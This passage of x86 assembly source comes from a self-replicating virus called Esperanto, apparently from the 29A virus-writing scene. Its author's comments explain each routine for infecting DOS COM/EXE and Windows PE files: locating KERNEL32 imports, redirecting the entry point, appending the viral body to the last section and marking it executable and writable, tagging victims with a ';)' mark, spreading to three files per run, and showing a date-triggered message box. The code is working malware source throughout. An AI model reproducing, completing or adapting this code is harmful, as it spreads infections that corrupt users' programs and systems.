DS:SI mov bp,si ; Also DS:SI = DS:BP lodsd ; First doubleword mov ax,word ptr ds:[si+FH_Characteristics] test ax,IMAGE_FILE_EXECUTABLE_IMAGE jz go_away ; We don't want neither test ax,IMAGE_FILE_DLL ; DLLs nor non-exec PE jnz go_away ; files, just skip them ; Get number of sections of the PE file ; and then point the first section with EDI movzx ecx,word ptr [si+FH_NumberOfSections] movzx edi,word ptr [si+FH_SizeOfOptionalHeader] add si,IMAGE_SIZEOF_FILE_HEADER add edi,esi s_image_sect: mov eax,dword ptr ds:[si+OH_DataDirectory\ .DE_Import\ .DD_VirtualAddress] mov edx,dword ptr ds:[di+SH_VirtualAddress] sub eax,edx ; Now we're looking for the section in which ; the import table is found. This is usually ; the .idata section, but we make sure by ; means of checking if the address of the ; imports directory is inside this section cmp eax,dword ptr ds:[di+SH_VirtualSize] jb section_is_ok ; In case it's not, we point to the header ; of the next section with EDI, and keep on ; doing the same until we find it add di,IMAGE_SIZEOF_SECTION_HEADER loop s_image_sect jmp go_away ; Now get a pointer to the first import ; module descriptor in EAX so we may ; look for KERNEL32.DLL thru this array section_is_ok: add eax,dword ptr ds:[di+SH_PointerToRawData] mov dword ptr ds:[rawdata_ptr],eax sub edx,eax push edx ; Get absolute address to this array ; in EDX and lseek to it in order to ; read 4096 to our buffer, so we may ; look for the KERNEL32.DLL descriptor mov edx,eax call lseek_middle mov ah,3fh mov cx,1000h lea dx,old_exe_header int 21h ; Restore EDX and point both with EAX and ; EBP to the array of imported modules pop edx mov eax,ebp ; Get the RVA of the Import Module ; Descriptor in ESI and later check ; if it actually exists or not (=0) next_imd_imge: mov esi,dword ptr ds:[bp+ID_Name] lea edi,kernel32_n or esi,esi jz go_away ; Now get the address of the name of ; the IMD and check if it's the one ; we're looking for (KERNEL32.DLL) push eax ebp sub esi,edx sub esi,dword ptr ds:[rawdata_ptr] add esi,eax mov ecx,8 ; Get a character from DS:ESI, check its ; case, convert it if necessary to uppercase ; and then compare the strings pointed by ; DS:ESI and DS:EDI (-> KERNEL32.DLL) dll_lewp: lodsb cmp al,'a' jb check_charct sub al,('a'-'A') check_charct: scasb jne more_imd_imge loop dll_lewp ; Name matched, restore registers pop edi push es bx ; Get file date/time and check if it is a ; binded file (date 24/08/95, time 9:50) mov ah,2fh int 21h cmp dword ptr es:[bx+16h],1f184e40h je go_away ; Don't infect it in case it is binded. ; Otherwise point the table of imported ; addresses from the current module (K32) ; and look for some necessary RVAs pop bx es ebp mov esi,dword ptr [di+ID_FirstThunk] sub esi,edx mov dword ptr ds:[thunk_offset],esi push edx ; Lseek to the absolute offset and read ; 4096 bytes to our buffer so we may look ; for the RVAs of the APIs we need mov edx,esi call lseek_middle mov ah,3fh mov cx,1000h lea dx,old_exe_header mov si,dx int 21h ; Now let's go for GetModuleHandleA. We ; need the RVA of this API because it is ; necessary to call it in order to know ; the base address of KERNEL32.DLL pop edx push esi lea edi,gmhandle_n call search_name mov dword ptr ds:[gmhandle_rva],eax ; Our next and last objective is the API ; GetProcAddress, which helps us in order ; to find the address of any API we look ; for of a given module or library pop esi lea edi,gpaddress_n call search_name mov dword ptr ds:[gpaddress_rva],eax jmp infect_pe ; Go to next imported module descriptor more_imd_imge: pop ebp eax add ebp,IMAGE_SIZEOF_IMPORT_DESCRIPTOR jmp next_imd_imge ; ÄÄ´ PE files infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ infect_pe: inc byte ptr ds:[inf_counter] ; Increment inf.counter mov si,bp ; SI = BP -> read buffer mov dx,word ptr ds:[winexe_offset] ; Lseek to the PE call lseek_middle ; header ([3c8h]) mov ah,3fh ; And read 4096 bytes mov cx,1000h ; from it to our read mov dx,si ; buffer, pointing it int 21h ; with DS:DX and DS:SI ; Get the RVA of the last section header in ; EDI. Here's where we're going to copy our ; code, so no new sections are needed and ; we're not so easily discovered in a file cld lodsd mov eax,IMAGE_SIZEOF_SECTION_HEADER movzx ecx,word ptr ds:[esi+FH_NumberOfSections] dec ecx mul ecx movzx edx,word ptr ds:[esi+FH_SizeOfOptionalHeader] add eax,edx add esi,IMAGE_SIZEOF_FILE_HEADER add eax,esi mov edi,eax ; Now get the old entry point and store its ; RVA in a dynamic variable of our code we ; will use in order to jump back to our host push dword ptr ds:[esi+OH_AddressOfEntryPoint] pop dword ptr ds:[entry_rva] ; Get original file size and store it for ; later use during the PE infection process push es bx mov ah,2fh int 21h mov eax,dword ptr es:[bx+1ah] pop bx es ; Calculate new entry point by means of the ; original file size and our memory size, and ; save it as the new AddressOfEntryPoint push eax sub eax,dword ptr ds:[edi+SH_PointerToRawData] add eax,dword ptr ds:[edi+SH_VirtualAddress] add ax,offset espow32_start mov dword ptr ds:[esi+OH_AddressOfEntryPoint],eax ; And store the RVA of the base address, not ; forgetting to add the dseta offset to it add eax,dseta_offset mov dword ptr ds:[base_address],eax ; Get new size of VirtualSize pop eax add ax,espo_file_size sub eax,dword ptr ds:[edi+SH_PointerToRawData] push eax add ax,(espo_mem_size-espo_file_size) cmp eax,dword ptr ds:[edi+SH_VirtualSize] jbe virtual_ok mov dword ptr ds:[edi+SH_VirtualSize],eax virtual_ok: pop eax ; And now the new size of SizeOfRawData add ax,(espo_mem_size-espo_file_size) mov ecx,dword ptr ds:[esi+OH_FileAlignment] cdq div ecx inc eax mul ecx mov dword ptr ds:[edi+SH_SizeOfRawData],eax ; Set section characteristics to execute, read ; and write access, so Esperanto will not find ; any problem when performing its functioning or dword ptr ds:[edi+SH_Characteristics],\ IMAGE_SCN_MEM_EXECUTE or\ IMAGE_SCN_MEM_READ or\ IMAGE_SCN_MEM_WRITE ; Update the SizeOfImage pointer mov eax,dword ptr ds:[esi+OH_SizeOfImage] add ax,espo_file_size mov ecx,dword ptr ds:[esi+OH_FileAlignment] cdq div ecx inc eax mul ecx mov dword ptr ds:[esi+OH_SizeOfImage],eax ; Lseek to the offset of the PE header and ; rewrite the recently modified and updated ; one the infected file will use from now mov dx,word ptr ds:[winexe_offset] call lseek_middle mov ah,40h mov cx,1000h mov dx,bp int 21h ; And now finally lseek to the end of the ; file and append our code to the PE file ; we've just infected - we can go away call lseek_end mov ah,40h mov cx,espo_file_size lea dx,espo_start int 21h jmp go_away ; Í͹ Subroutines ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ; ;  Note: the following subroutines are used by the DOS and Windows 3.1x mo- ; dules, in order to perform many repeated actions such as lseeking to the ; start or the end of a file, finding RVAs, and so on. ; ÄÄ´ Lseek to the start of a file ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ;  Entry: ; þ BX => file handle ; þ File pointer somewhere in the file ; ;  Exit: ; þ BX => file handle ; þ File pointer in the start of the file lseek_start: mov ax,4200h ; Lseek function, with xor cx,cx ; AL, CX and DX = 0, cwd ; ie, lseek to start of int 21h ; the file in BX ret ; And go back to code ; ÄÄ´ Lseek to the middle of a file ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ;  Entry: ; þ BX => file handle ; þ DX => seek offset ; þ File pointer somewhere in the file ; ;  Exit: ; þ BX => file handle ; þ File pointer = previous DX value lseek_middle: mov ax,4200h ; Lseek function, the xor cx,cx ; offset where to seek int 21h ; is specified in CX ret ; Return to our caller ; ÄÄ´ Lseek to the end of a file ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ;  Entry: ; þ BX => file handle ; þ File pointer somewhere in the file ; ;  Exit: ; þ BX => file handle ; þ File pointer in the end of the file lseek_end: mov ax,4202h ; Lseek function, with xor cx,cx ; AL=2 (from bottom), cwd ; CX and DX equal to int 21h ; zero -> lseek to end ret ; Return to main code ; ÄÄ´ Look for the RVA of a given API by name ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ;  Entry: ; þ EDX => Section ëelta-offset ; þ DS:ESI => Import address table for KERNEL32.DLL ; þ DS:EDI => Given API name to look for ; þ EBP => Buffer start address ; ;  Exit: ;  EAX => RVA of the given IMD, or 0 if error search_name: push ds pop es ; Look for a given API (in EDI) whose RVA we ; are looking for by means of the structure ; IMAGE_IMPORT_BY_NAME, pointed by every dword ; in the thunk data array. First step consists ; on looking for its address (DS:ESI) lodsd or eax,eax jz inp_notfound ; Once found, we get a pointer to the first ; function name of this structure, and compare ; it with the name of the API we look for push esi edi sub eax,edx sub eax,dword ptr ds:[thunk_offset] lea esi,dword ptr ds:[eax+ebp+2] namebyname: lodsb or al,al jz inputfound scasb je namebyname pop edi esi jmp search_name ; In case names match, we go and get the ; RVA of the function we've just found in ; the IAT. Otherwise we keep on searching inputfound: pop edi esi lea eax,dword ptr ds:[esi-4] add eax,dword ptr ds:[thunk_offset] jmp stupid_jump ; I know this jump is completely stupid ; and non-sense, but i felt like to write ; such a fool thing when writing the virus ; and i decided to keep it :) db '29A' ; We calculate the RVA and return it in ; EAX so it may be later stored in its ; corresponding dynamic variable stupid_jump: sub eax,ebp add eax,edx ret ; If we couldn't find the RVA of the API, ; then we return with EAX equal to zero inp_notfound: xor eax,eax ret ; ÄÄ´ Check system conditions before infection ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ;  Entry: ; þ BX => handle of possible victim ; þ Infection counter holding a value 0-3 ; þ Infection timer holding a certain value ; ;  Good exit: ; þ AH => 2ch ; ;  Exit with error: ; þ AH => 0 ; þ Infection counter set to 0 ; þ Infection timer updated system_checks: mov ah,2ch ; Get system time to int 21h ; do our inf.checks cmp byte ptr ds:[inf_counter],3 ; Have we already jb check_time ; infected 3 files? mov byte ptr ds:[inf_counter],al ; Yes, update the jmp set_error ; infection counter check_time: cmp byte ptr ds:[inf_timer],cl ; Are we still in the jb go_for_it ; same minute? set_error: cbw ; Set AH=0 mov byte ptr ds:[inf_timer],cl ; Update the timer go_for_it: ret ; And return ; Í͹ Win32 module ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ .386p ; Intel 80386+ PMODE espow32_start label byte ; Define 32-bit start first_entry: push eax ; Push for later use pe_entry: pushad ; Push all the stuff call delta_offset ; Get ëelta-offset dseta_byte label byte ; Dseta-offset marker delta_offset: pop ebp ; Get return address mov ebx,ebp ; Store it in EBX sub ebp,offset delta_offset ; Get ëelta in EBP ; Get the base address of our host in ; EBX, by means of substracting its ; RVA, stored during the PE infection db 81h,0ebh base_address dd offset first_entry-base_default+dseta_offset ; Now get the return address, ie, the ; original entry point of the PE file, ; in EAX and push it onto the stack ; for later use during our execution db 0b8h entry_rva dd offset exit_process-base_default add eax,ebx mov dword ptr [esp+20h],eax ; The following step consists on getting ; the RVA of GetModuleHandleA in EAX, so ; we may get the base address of KERNEL32 db 0b8h gmhandle_rva dd offset gmhandle_a-base_default or eax,eax jz get_kernel32 push dword ptr [eax+ebx] pop dword ptr [ebp+gmhandle_a] ; If everything has gone ok, we're now ; about to call the GetModuleHandle API ; in order to know KERNEL32's address. ; Otherwise we had to jump to our own ; routine which gets this value by means ; of undocumented features of Windows95 ; (not valid for the rest of Win32!) lea eax,dword ptr [ebp+kernel32_n] push eax lea eax,dword ptr [ebp+gmhandle_a] call dword ptr [eax] or eax,eax jz get_kernel32 kernel_found: mov dword ptr [ebp+kernel32_a],eax ; Once we've found the base address of ; KERNEL32 it's necessary to use the API ; GetProcAddress in order to look for ; the addresses of the functions we need ; to use in our code in order to work db 0b8h gpaddress_rva dd offset gpaddress_a-base_default or eax,eax jz get_gpaddress gpadd_found: push dword ptr [eax+ebx] pop dword ptr [ebp+gpaddress_a] ; Point to the start of the table of API ; names with ESI, and to the start of the ; table of API addresses with EDI, holding ; the number of needed API functions in ; ECX, and then call GetProcAddress so we ; may fill the table of API addresses with ; the current valid values for our APIs cld mov ecx,(offset api_names_end-offset api_names)/4 lea esi,dword ptr [ebp+api_names] lea edi,dword ptr [ebp+api_addresses] find_more_api: lodsd add eax,ebp push ecx esi edi eax push dword ptr [ebp+kernel32_a] lea eax,dword ptr [ebp+gpaddress_a] call dword ptr [eax] pop edi esi ecx or eax,eax jz jump_to_host cld stosd loop find_more_api ; ÄÄ´ Payload checking routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Now it's time to check for our activation ; date (july 26th, when, in 1887, the first ; book written in Esperanto, "Internacia ; Lingvo", was published), so we first use ; the API GetLocalTime to get the date lea eax,dword ptr [ebp+time_table] push eax lea eax,dword ptr [ebp+glocaltime_a] call dword ptr [eax] ; Check for july cmp word ptr [ebp+system_month],7 jne find_first ; Now check for the 26th cmp word ptr [ebp+system_day],1ah jne find_first ; At this point we're sure about the fact ; that today is our activation date, so ; we call the API LoadLibraryA in order ; to load the USER32.DLL module (for the ; case our host does not load it) lea eax,dword ptr [ebp+user32_n] push eax lea eax,dword ptr [ebp+loadlibrary_a] call dword ptr [eax] or eax,eax jz jump_to_host ; Next step consists on decrypting the ; internal text used in the payload, ; which is hidden behind a stupid "not" ; encryption... just do it (Nike) :P mov ecx,text_size lea esi,dword ptr [ebp+text_start] mov edi,esi decrypt_text: lodsb not al stosb loop decrypt_text ; Once this is done, it's necessary to ; call again GetProcAddress in order to ; get the address of the API MessageBoxA lea esi,dword ptr [ebp+messagebox_n] lea edx,dword ptr [ebp+gpaddress_a] push esi eax call dword ptr [edx] or eax,eax jz jump_to_host ; And now we've done almost everything ; in the payload... just call the API, ; show the text and jump to the host (no ; infection in Esperanto's only holiday) push 1000h lea esi,dword ptr [ebp+virus_author] lea edi,dword ptr [ebp+virus_text] push esi edi 0 call eax jmp jump_to_host ; ÄÄ´ File searching routine (FindFirstFileA-based) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Look for first file in current directory ; by means of the API FindFirstFileA, and ; increment the infection counter byte find_first: mov byte ptr [ebp+inf_counter],0 lea eax,dword ptr [ebp+finddata] lea edx,dword ptr [ebp+wildcard] push eax edx lea eax,dword ptr [ebp+findfirst_a] call dword ptr [eax] cmp eax,0ffffffffh je jump_to_host ; ÄÄ´ File checking routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Save the handle of the found file and ; check for its size, just to see if it's ; a too small file to be infected mov dword ptr [ebp+srchandle],eax check_victim: cmp dword ptr [ebp+finddata+WFD_nFileSizeHigh],0 jne find_next cmp dword ptr [ebp+finddata+WFD_nFileSizeLow],\ 0fffffc17h-espo_file_size jae find_next ; The file size is ok, now let's memory-map ; it and do further checks about its main ; characteristics, to know if it's a good ; file to infect with our viral code call open_map_file or ebx,ebx jz find_next ; First of all, check for its extension to ; be COM or EXE. I used a stupid waste of ; bytes here, but i was kinda drunk when i ; did it (check for a dot instead of the end ; of the ASCIIZ string), so i thought it was ; fun not to modify it... it works :) cld lea esi,dword ptr [ebp+finddata+WFD_szFileName] find_dot: inc byte ptr [ebp+max_path_size] cmp byte ptr [ebp+max_path_size],0ffh je unmap_n_close lodsb cmp al,'.' jne find_dot ; Is it a COM file? dec esi lodsd cmp eax,'MOC.' je check32_com ; Maybe an EXE file? cmp eax,'EXE.' jne unmap_n_close ; Seems so... first check for the MZ mark ; as the first doubleword in the header ; ÄÄ´ EXE files check routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ check32_exe: cmp word ptr [ebx],'ZM' jne unmap_n_close ; Now check for our infection mark (";)") cmp word ptr [ebx+MZ_csum],');' je unmap_n_close ; If file has not been infected, then ; set the winky smiley as checksum, and ; check for the number of overlays mov word ptr [ebx+MZ_csum],');' cmp word ptr [ebx+MZ_ovno],0 jne unmap_n_close ; Don't infect PkLited EXEs cmp word ptr [ebx+MZ_res+2],'KP' je unmap_n_close ; Now check for the Windows file mark cmp word ptr [ebx+MZ_lfarlc],40h je check32_pe ; At this point we know it is a DOS EXE ; file... we're gonna infect it for sure ; ÄÄ´ EXE files infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ infect32_exe: mov byte ptr [ebp+file_flag],'E' inc byte ptr [ebp+inf_counter] call unmap_close ; Only EXEs < 65535, because of the "div" ; problem referenced in the virus description ; which is found at the start of this file mov eax,dword ptr [ebp+finddata+WFD_nFileSizeLow] cmp eax,0ffffh jnb unmap_n_close ; Remap the file with our size added push eax add dword ptr [ebp+finddata+WFD_nFileSizeLow],\ espo_file_size call open_map_file or ebx,ebx jz no_good ; Calculate the new CS by means of first ; getting the size header in paragraphs pop eax push eax mov ecx,10h cdq div ecx sub ax,word ptr [ebx+MZ_cparhdr] ; Update new CS and store the old one push ax xchg word ptr [ebx+MZ_cs],ax mov word ptr [ebp+exe_cs],ax pop ax ; And now update the IP pointer, which ; is equal to zero, that is, the start ; of the virus which jumps straight to ; the COM and EXE entry push dx xchg word ptr [ebx+MZ_ip],dx mov word ptr [ebp+exe_ip],dx pop dx ; Now calculate SS and SP add edx,espo_file_size+320h and dl,0feh ; Update SS xchg word ptr [ebx+MZ_ss],ax mov word ptr [ebp+exe_ss],ax ; Update SP xchg word ptr [ebx+MZ_sp],dx mov word ptr [ebp+exe_sp],dx pop eax ; Calculate the new number of bytes in last ; page and of pages in EXE file, and update ; the corresponding pointers in the MZ header add eax,espo_file_size mov ecx,200h cdq div ecx inc eax mov word ptr [ebx+MZ_cblp],dx mov word ptr [ebx+MZ_cp],ax ; And finally append our code to the end of ; the EXE file we've just infected. The MZ ; header will be overwritten to the old one ; as soon as the file is unmapped, no need ; to lseek to the start and write it cld mov ecx,espo_file_size lea esi,dword ptr [ebp+espo_start] mov edi,dword ptr [ebp+finddata+WFD_nFileSizeLow] sub edi,ecx add edi,ebx rep movsb jmp unmap_n_close ; Check if the COM file has been previously ; infected by Esperanto (winky ";)" smiley) ; ÄÄ´ COM files check routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ check32_com: cmp word ptr [ebx+3],');' je unmap_n_close ; If not, set the file flag, increment the ; infection counter and memory map the file ; with our size previously added ; ÄÄ´ COM files infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ infect32_com: mov byte ptr [ebp+file_flag],'C' inc byte ptr [ebp+inf_counter] call unmap_close add dword ptr [ebp+finddata+WFD_nFileSizeLow],\ espo_file_size call open_map_file or ebx,ebx jz no_good ; Store old COM header in our buffer cld mov ecx,5 push ecx mov esi,ebx lea edi,dword ptr [ebp+old_com_header] rep movsb ; Calculate the jump to the COM and EXE ; entry point of the virus (once appended) ; and store it in the buffer of the new ; COM header ("0e9h,?,?,;)"). Then copy ; it to the first five bytes of the file pop ecx lea esi,dword ptr [ebp+new_com_header] mov edi,ebx mov eax,dword ptr [ebp+finddata+WFD_nFileSizeLow] sub eax,espo_file_size push eax sub eax,3 mov word ptr [esi+1],ax rep movsb ; And finally append the viral code to ; the end of the COM file, unmap it and ; go look for more files to infect mov ecx,espo_file_size lea esi,dword ptr [ebp+espo_start] pop edi add edi,ebx rep movsb jmp unmap_n_close ; Check if the new EXE file is a PE, by ; first comparing the starting doubleword ; of the new header with "PE" ; ÄÄ´ PE files check routine (I) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ check32_pe: mov esi,dword ptr [ebx+MZ_lfanew] add esi,ebx lodsd cmp eax,'EP' jne unmap_n_close ; If this is ok, now check if the file is ; executable and if it is not a DLL mov ax,word ptr [esi+FH_Characteristics] test ax,IMAGE_FILE_EXECUTABLE_IMAGE jz unmap_n_close test ax,IMAGE_FILE_DLL jnz unmap_n_close ; Get number of sections of the PE file ; and then point the first section with EDI movzx ecx,word ptr [esi+FH_NumberOfSections] movzx edi,word ptr [esi+FH_SizeOfOptionalHeader] add esi,IMAGE_SIZEOF_FILE_HEADER add edi,esi s_img_section: mov eax,dword ptr [esi+OH_DataDirectory\ .DE_Import\ .DD_VirtualAddress] mov edx,dword ptr [edi+SH_VirtualAddress] sub eax,edx ; Now we're looking for the section in which ; the import table is found. This is usually ; the .idata section, but we make sure by ; means of checking if the address of the ; imports directory is inside this section cmp eax,dword ptr [edi+SH_VirtualSize] jb section_ok ; In case it's not, we point to the header ; of the next section with EDI, and keep on ; doing the same until we find it add edi,IMAGE_SIZEOF_SECTION_HEADER loop s_img_section jmp unmap_n_close ; Now get a pointer to the first import ; module descriptor in EAX so we may ; look for KERNEL32.DLL thru this array section_ok: add eax,dword ptr [edi+SH_PointerToRawData] sub edx,eax add eax,ebx ; Get the RVA of the Import Module ; Descriptor in ESI and later check ; if it actually exists or not (=0) next_imd_img: mov esi,dword ptr [eax+ID_Name] lea edi,dword ptr [ebp+offset kernel32_n] or esi,esi jz unmap_n_close ; Now get the address of the name of ; the IMD and check if it's the one ; we're looking for (KERNEL32.DLL) push eax mov ecx,8 sub esi,edx add esi,ebx ; Get a character from ESI, check its case, ; convert it if necessary to uppercase and ; then compare the strings pointed by ESI ; and EDI, to see if we find KERNEL32.DLL dll_loop: lodsb cmp al,'a' jb check_char sub al,('a'-'A') check_char: scasb jne more_imd_img loop dll_loop ; Save the ID_ForwarderChain pointer in the ; dynamic variable which corresponds to the ; KERNEL32.DLL RVA, as we will need it to ; find the base address of this module if ; the calling process to GetModuleHandleA ; was not successful (this is undocumented) pop edi lea eax,dword ptr [edi+ID_ForwarderChain] sub eax,ebx add eax,edx mov dword ptr [ebp+kernel32_rva],eax ; Get the time/date stamp of KERNEL32.DLL ; into EAX in order to compare it with the ; corresponding stamp of the file we're ; about to infect, as we don't want to hit ; any binded executable PE file mov eax,dword ptr [ebp+kernel32_a] mov esi,dword ptr [eax+IMAGE_DOS_HEADER.MZ_lfanew] add esi,eax add esi,NT_FileHeader.FH_TimeDateStamp lodsd ; Determine if file is binded. If not, jump ; and go find the RVA of the APIs needed in ; the working process of Esperanto mov esi,dword ptr [edi+ID_FirstThunk] sub esi,edx add esi,ebx cmp eax,dword ptr [edi+ID_TimeDateStamp] jne find_rvas ; ÄÄ´ File searching routine (FindNextFileA-based) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Memory unmap file handled in EBX, check ; the infection counter and, if everything ; is ok, look for more files to infect unmap_n_close: call unmap_close find_next: cmp byte ptr [ebp+inf_counter],3 je jump_to_host lea eax,dword ptr [ebp+finddata] push eax push dword ptr [ebp+srchandle] lea eax,dword ptr [ebp+findnext_a] call dword ptr [eax] or eax,eax jnz check_victim ; Nothing else to do, close the search ; handle and jump to the original entry ; point of the code of our host push dword ptr [ebp+srchandle] lea eax,dword ptr [ebp+findclose_a] call dword ptr [eax] jump_to_host: popad ret ; ÄÄ´ PE files check routine (II) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Go to next imported module descriptor more_imd_img: pop eax add eax,IMAGE_SIZEOF_IMPORT_DESCRIPTOR jmp next_imd_img ; Now let's go for GetModuleHandleA. We ; need the RVA of this API because it is ; necessary to call it in order to know ; the base address of KERNEL32.DLL find_rvas: push esi lea edi,dword ptr [ebp+gmhandle_n] call look4name mov dword ptr [ebp+gmhandle_rva],eax ; Our next and last objective is the API ; GetProcAddress, which helps us in order ; to find the address of any API we look ; for of a given module or library pop esi lea edi,dword ptr [ebp+gpaddress_n] call look4name mov dword ptr [ebp+gpaddress_rva],eax ; ÄÄ´ PE files infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Increment infection counter and remap our ; victim in memory with the virus size added infect32_pe: inc byte ptr [ebp+inf_counter] call unmap_close add dword ptr [ebp+finddata+WFD_nFileSizeLow],\ espo_file_size call open_map_file or ebx,ebx jz no_good cld mov esi,dword ptr [ebx+MZ_lfanew] add esi,ebx lodsd ; Get the RVA of the last section header in ; EDI. Here's where we're going to copy our ; code, so no new sections are needed and ; we're not so easily discovered in a file mov eax,IMAGE_SIZEOF_SECTION_HEADER movzx ecx,word ptr [esi+FH_NumberOfSections] dec ecx mul ecx movzx edx,word ptr [esi+FH_SizeOfOptionalHeader] add eax,edx add esi,IMAGE_SIZEOF_FILE_HEADER add eax,esi mov edi,eax ; Now get the old entry point and store its ; RVA in a dynamic variable of our code we ; will use in order to jump back to our host push dword ptr [esi+OH_AddressOfEntryPoint] pop dword ptr [ebp+entry_rva] ; Get original file size and store it for ; later use during the PE infection process mov eax,dword ptr [ebp+finddata+WFD_nFileSizeLow] sub eax,espo_file_size push eax ; Calculate new entry point by means of the ; original file size and our memory size, and ; save it as the new AddressOfEntryPoint sub eax,dword ptr [edi+SH_PointerToRawData] add eax,dword ptr [edi+SH_VirtualAddress] add eax,offset espow32_start mov dword ptr [esi+OH_AddressOfEntryPoint],eax ; And store the RVA of the base address, not ; forgetting to add the dseta offset to it add eax,dseta_offset mov dword ptr [ebp+base_address],eax ; Get new size of VirtualSize mov eax,dword ptr [ebp+finddata.WFD_nFileSizeLow] sub eax,dword ptr [edi+SH_PointerToRawData] push eax add eax,(espo_mem_size-espo_file_size) cmp eax,dword ptr [edi+SH_VirtualSize] jbe virtsize_ok mov dword ptr [edi+SH_VirtualSize],eax virtsize_ok: pop eax ; And now the new size of SizeOfRawData add eax,(espo_mem_size-espo_file_size) mov ecx,dword ptr [esi+OH_FileAlignment] cdq div ecx inc eax mul ecx mov dword ptr [edi+SH_SizeOfRawData],eax ; Set section characteristics to execute, read ; and write access, so Esperanto will not find ; any problem when performing its functioning or dword ptr [edi+SH_Characteristics],\ IMAGE_SCN_MEM_EXECUTE or\ IMAGE_SCN_MEM_READ or\ IMAGE_SCN_MEM_WRITE ; Update the SizeOfImage pointer mov eax,dword ptr [esi+OH_SizeOfImage] add eax,espo_file_size mov ecx,dword ptr [esi+OH_FileAlignment] cdq div ecx inc eax mul ecx mov dword ptr [esi+OH_SizeOfImage],eax ; And finally append the virus body to the ; the end of the PE file we've just infected, ; unmap it and go look for more victims mov ecx,espo_file_size lea esi,dword ptr [ebp+espo_start] pop edi add edi,ebx rep movsb no_good: jmp unmap_n_close ; Í͹ Subroutines ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ; ;  Note: the following subroutines are used by the Win32 module in order to ; perform many repeated actions, such as mapping or unmapping a file, fin- ; ding RVAs or the base address of a given module or API, and so on. ; ÄÄ´ Undocumented way to find the address of K32 ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ;  Entry: ; þ EBX => base address of host ; þ Necessity to find KERNEL32.DLL ; ;  Exit: ; þ EAX => base address of KERNEL32.DLL ; þ EBX => base address of host ; Try to get the base address of KERNEL32 ; by means of ID_ForwarderChain. This is ; an undocumented feature which only works ; in Windows95. First load the RVA in ESI ; and then add the base address to it get_kernel32: db 0beh kernel32_rva dd ? add esi,ebx lodsd ; Now check for the MZ signature cmp word ptr [eax],'ZM' jne k32_not_found ; And finally, for the PE one. If it was ; found, then the undocumented feature has ; worked. Otherwise the control will be ; passed to our host, as we can't execute mov esi,dword ptr [eax+MZ_lfanew] cmp dword ptr [esi+eax],'EP' je kernel_found k32_not_found: popad ret ; ÄÄ´ Undocumented way to find the address of GetProcAddress ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ;  Entry: ; þ EBX => base address of host ; þ kernel32_a => base address of KERNEL32.DLL ; þ Necessity to find GetProcAddress ; ;  Exit: ; þ EAX => address of GetProcAddress ; þ EBX => base address of host ; This undocumented way to get the address ; of the API GetProcAddress is based on ; looking for its name and later for its ; ordinal thru the array of APIs exported ; by the module KERNEL32.DLL. Thus, the ; first step consists on seeking to the ; base address of this library and making ; sure this is the right address get_gpaddress: cld push ebx mov ebx,dword ptr [ebp+kernel32_a] cmp word ptr [ebx],'ZM' jne gpa_aborted ; Once we know it has a MZ header, let's ; check for the PE mark, pointed by [3ch] mov esi,dword ptr [ebx+IMAGE_DOS_HEADER.MZ_lfanew] add esi,ebx lodsd cmp 